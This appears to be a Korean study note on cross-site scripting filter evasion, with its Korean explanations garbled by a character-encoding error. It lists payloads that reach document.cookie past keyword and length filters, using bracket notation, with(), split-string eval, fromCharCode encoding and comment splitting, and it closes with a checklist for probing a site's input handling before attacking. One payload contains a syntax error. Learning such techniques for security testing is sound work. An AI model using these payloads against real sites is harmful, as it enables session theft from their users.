document.cookie ์ฐํ
document["cookie"]
# document.cookie == documet["cookie"] ๋ฅผ ์ฆ๋ช
var obj = {"id":"iu" , "name":"์ด์ง์" , "age":"30"}
var result1 = obj.id;
var result2 = obj["id"];
document.write(result1);
document.write(result2);
<script>alert(document["cookie"])</script>
document.cookie ์ฐํ
with(document){ alert(cookie); }
# document.cookie == with(document){alert(cookie);} ๋ฅผ ์ฆ๋ช
var obj = {"id":"iu" , "name":"์ด์ง์" , "age":"30"}
with(obj){
document.write(id);
}
<script>with(document{alert(cookie);}</script>
eval ํจ์ ๊ฒ์ฆ ์ฐํ
์ค์ ๋ก ๋ค์ํ ๊ฐ๋ฐ ์ฝ๋ฉ์์๋ ์ฌ์ฉํ๋ ํจ์
๋จ์ํ ๋ฌธ์์ด ์์ฒด๋ฅผ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋๋ก ์คํ
ํ๋ก๊ทธ๋๋ฐ์์ ๋ง์ ํธ๋ฆฌ์ฑ์ ์ ๊ณตํ์ง๋ง ์
์ฉํ๋ฉด ์ฌ๊ฐํ ๋ฌธ์
# ๋ฌธ์์ด์ธ alert์ eval ํจ์๊ฐ ๋ค์ด๊ฐ๋ฉด ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋๋ก ์คํ
eval("alert('test')");
var x = 1;
var y = 10;
var result = 0;
eval("result = x+y");
document.write(result);
eval ํจ์์์ ํํ๋ String ํํ , ์คํํ ์์ ์ฝ๋
# eval ์ฐํ ์ฌ์ฉ 1
<script>eval("alert(document.cookie)")</script>
# eval ์ฐํ ์ฌ์ฉ 2
# alert | document | cookie ๋ชจ๋ ๊ธ์ง ํ ๊ฒฝ์ฐ
# eval์ ๋ฌธ์์ด๋ก ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ""์+๋ก ์ด์ด์ฐ๊ธฐ ๊ฐ๋ฅ
eval("ale"+"rt"+"(docu"+"ment.cookie)");
# eval ์ฐํ ์ฌ์ฉ 3
# document.cookie๋ฅผ ์์คํค์ฝ๋๋ก ๋ฌธ์์ด ๋ณ๊ฒฝ
document.cookie
String.fromCharCode(13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)
๊ธธ์ด์ ํ ์ฐํ
# ๋ง์ฝ title์ด 20๊ธ์๊ฐ ๋์ด๊ฐ๋ฉด ์์์๋ถํฐ 20๊ธ์ ์ถ์ถ ํ ... ๋ถ์ด๊ธฐ(๊ธธ์ด์ ํ)
if(strlen($title)>20){
$title=substr($title,1,20)."..."; # PHP๋ ์ฐ๊ฒฐ ์ฐ์ฐ์๊ฐ . ์ด๋ค
}
<script>alert/*
*/(document./*
*/cookie)</script>
1. ์ฌ์ฉ์ ์
๋ ฅ๊ฐ ์์น ํ์ธ
2. <, >, " ์ฌ์ฉ ๊ฐ๋ฅ ์ฌ๋ถ
3. ๋ฌธ์ ํ์ฉ ๋ฆฌ์คํธ ๋ฑ ํ์ธ
4. ์ฐํ๊ฐ ๊ฐ๋ฅํ์ง ํ๋จ : ํน์๋ฌธ์๊ฐ ์ฌ์ฉ์ด ๋๋ค/์๋๋ค > inputํ๊ทธ๋ฉด ์ฐํ ๊ฐ๋ฅ > " ํ์ฉ๋๋ ์๋ฐ
> ๋ฌธ์์ด ๊ฒ์ด์ด ์๋ค - alert,document,cookie / ascii, ๊ฐํ/์ฃผ์, ๋ฉค๋ฒ ๋ณํ
5. ๊ณต๊ฒฉ ์งํ